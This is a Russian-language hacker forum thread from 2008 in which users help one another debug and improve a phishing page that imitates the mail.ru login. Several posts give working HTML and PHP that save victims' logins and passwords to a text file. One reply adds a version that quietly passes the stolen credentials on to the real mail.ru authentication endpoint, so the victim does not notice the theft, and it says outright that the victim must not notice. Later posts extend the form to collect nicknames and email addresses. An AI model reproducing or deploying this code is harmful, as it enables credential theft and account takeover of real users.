Где ошибка в скрипте?
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
Где ошибка в скрипте? - 2008-12-22 16:16:15.093333
|
|
|
xakep_svetik
Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
|
Вот сдесь форма для ввода логина и пароля: quote:
<html> <head> <title></title> </head> <bоdу> <div align="center"> <form method="post" action="enter.php"> <table> <tr><td><span>Логин:</span></td><td><input type="text" name="login" /></td></tr> <tr><td><span>Пароль:</span></td><td><input type="password" name="pass" /></td></tr> </table> <input type="submit" value="Войти" /> </form> </div> </bоdу> </html> А вот скрипт, который записывает все введёные данные юзером в файл mails.txt и переводит на страницу mail.ru Записать то он записывает, но не переводит, выводит надпись после нажатия "Войти". Вот такую надпись: document.location='http://mail.ru' А вот и скрипт: quote:
<?php $log = $_POST['login']; $pass = $_POST['pass']; if (empty($log) or empty($pass)) { echo("Please fill login or password"); } else { $file = "mails.txt"; $f = fopen($file, "a"); fwrite($f, "$log;$pass \r\n"); fclose($f); echo("<sсriрt language=javasсriрt>document.location='http://mail.ru'</sсriрt>"); } ?> Где в скрипте ошибка? Почему он не переводит на mail.ru?
|
|
|
RE: Где ошибка в скрипте? - 2008-12-22 16:17:58.483333
|
|
|
Cep}|{
Сообщений: 1396
Оценки: 0
Присоединился: 2007-06-26 01:11:51.416666
|
А если header('Location: http://[link=http://www.mail.ru'][b]www.mail.ru'); ?
|
|
|
RE: Где ошибка в скрипте? - 2008-12-22 16:20:40.626666
|
|
|
xakep_svetik
Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
|
Cep}|{, А напиши плиз полностью скрипт.
|
|
|
RE: Где ошибка в скрипте? - 2008-12-22 16:22:52.516666
|
|
|
Cep}|{
Сообщений: 1396
Оценки: 0
Присоединился: 2007-06-26 01:11:51.416666
|
<?php
$log = $_POST['login'];
$pass = $_POST['pass'];
if (empty($log) or empty($pass)) { echo("Please fill login or password"); }
else {
$file = "mails.txt";
$f = fopen($file, "a");
fwrite($f, "$log;$pass \r\n");
fclose($f);
header('Location: http://www.mail.ru');
}
?> только надо чтобы до хедера ничего в браузер не отправлялось
|
|
|
RE: Где ошибка в скрипте? - 2008-12-22 16:27:00.970000
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
У меня всё переводится и в Опере и в IE. А вообще послушай Cep}|{, у тебя просто javasсriрt может быть в браузере отключен, как и того, кого ты заманиваешь на свой фейк:) ЗЫЖ У тебя обработка кнопки нажать вообще не происходит.
|
|
|
RE: Где ошибка в скрипте? - 2008-12-22 16:28:42.080000
|
|
|
xakep_svetik
Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
|
Спасибо, проверю
|
|
|
RE: Где ошибка в скрипте? - 2008-12-22 16:31:22.643333
|
|
|
Xakep_TIP
Сообщений: 1
Оценки: 0
Присоединился: 2008-12-22 15:04:43.873333
|
del
|
|
|
RE: Где ошибка в скрипте? - 2008-12-22 16:33:22.956666
|
|
|
Cep}|{
Сообщений: 1396
Оценки: 0
Присоединился: 2007-06-26 01:11:51.416666
|
quote:
ORIGINAL: Pashkela У меня всё переводится и в Опере и в IE. А вообще послушай Cep}|{, у тебя просто javasсriрt может быть в браузере отключен, как и того, кого ты заманиваешь на свой фейк:) ЗЫЖ У тебя обработка кнопки нажать вообще не происходит. Да это не я заманиваю а xakep_svetik
|
|
|
RE: Где ошибка в скрипте? - 2008-12-22 16:38:26.050000
|
|
|
xakep_svetik
Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
|
У меня JavaScript включен!
|
|
|
RE: Где ошибка в скрипте? - 2008-12-22 16:46:43.876666
|
|
|
xakep_svetik
Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
|
Cep}|{, Спасибо! Теперь работает! Тебе ++!;)
|
|
|
RE: Где ошибка в скрипте? - 2008-12-22 16:47:30.456666
|
|
|
QunneD
Сообщений: 833
Оценки: 0
Присоединился: 2008-11-09 20:54:38.113333
|
<?php $log = $_POST['login']; $pass = $_POST['pass']; if (empty($log) or empty($pass)) { echo("Please fill login or password"); } else { $file = "mails.txt"; $f = fopen($file, "a"); fwrite($f, "$log;$pass \r\n"); fclose($f); echo("<sсriрt language\"javasсriрt\">document.location=\"http://www.mail.ru\";</sсriрt>"); } ?> Но через header удобнее, и легче.
|
|
|
RE: Где ошибка в скрипте? - 2008-12-22 18:01:49.860000
|
|
|
xakep_svetik
Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
|
Спасибо всем! Помогли!
|
|
|
RE: Где ошибка в скрипте? - 2008-12-22 18:54:36.050000
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
Кто ж так фейки пишет? Ввел логин и пароль и еще раз вводить?:))) Два файла: 1. login.php
<html>
<head>
<title></title>
</head>
<bоdу>
<div align="center">
<form method="post" action='mail.ru.php'>
<table>
<tr><td><span>Login:</span></td><td><input type="text" name="login" /></td></tr>
<tr><td><span>Password:</span></td><td><input type="password" name="pass" /></td></tr>
</table>
<input type="submit" name="submit" value="ok" />
</form>
</div>
</bоdу>
</html>
2. mail.ru.php:
<?php
$log=$_POST['login'];
$pass=$_POST['pass'];
if (empty($log) or empty($pass)) {echo 'Please fill login or password'; echo '<meta http-equiv="Refresh" content="2;URL=login.php">';exit;}
$file = "mails.txt";
$f = fopen($file, "a");
fwrite($f, "$log;$pass \r\n");
fclose($f);
?>
<html>
<head>
</head>
<bоdу>
<form name='mail' method='post'action='http://win.mail.ru/cgi-bin/auth' >
<input type="hidden" name='Login' value=<?php echo $log;?>>
<input type="hidden" name="Password" value=<?php echo $pass;?>>
<input type='hidden' name='Domain' value='mail.ru'>
</form>
<sсriрt language='javasсriрt'>
document.mail.submit();
</sсriрt>
</bоdу>
</html>
слово sсriрt везде только руками набирайте, фильтр форума
|
|
|
RE: Где ошибка в скрипте? - 2008-12-22 20:44:42.516666
|
|
|
xakep_svetik
Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
|
Спасибо! Но я немного по другому сделал) Изменил так сказать Просто создал страницу очень похожую на mail.ru и написал типо повторите ввод. И на орегинал.)
|
|
|
RE: Где ошибка в скрипте? - 2008-12-22 20:53:17.206666
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
Ну сразу же поймет, что наи….ло, раз в почту не войдет, смысл такого фейка? Сменит пароль сразу и всего делов-то, ты же тоже не постоянно у компа. Простое перенправление на ресурс тут не катит, надо именно залогивание - как будто всё обычно
|
|
|
RE: Где ошибка в скрипте? - 2008-12-23 15:36:52.543333
|
|
|
xakep_svetik
Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
|
А как сделать, чтобы было 3 поля для ввода ника, пароля и мыла?
|
|
|
RE: Где ошибка в скрипте? - 2008-12-23 16:27:16.573333
|
|
|
Cep}|{
Сообщений: 1396
Оценки: 0
Присоединился: 2007-06-26 01:11:51.416666
|
перед <tr><td><span>Login:</span></td><td><input type="text" name="login" /></td></tr> добавить <tr><td><span>Nick:</span></td><td><input type="text" name="nick" /></td></tr> после $pass=$_POST['pass']; добавить $nick=$_POST['nick']; и это fwrite($f, "$log;$pass \r\n"); заменить на fwrite($f, "$nick;$log;$pass \r\n"); это без проверки на заполнение поля "Ник"
|
|
|
|
|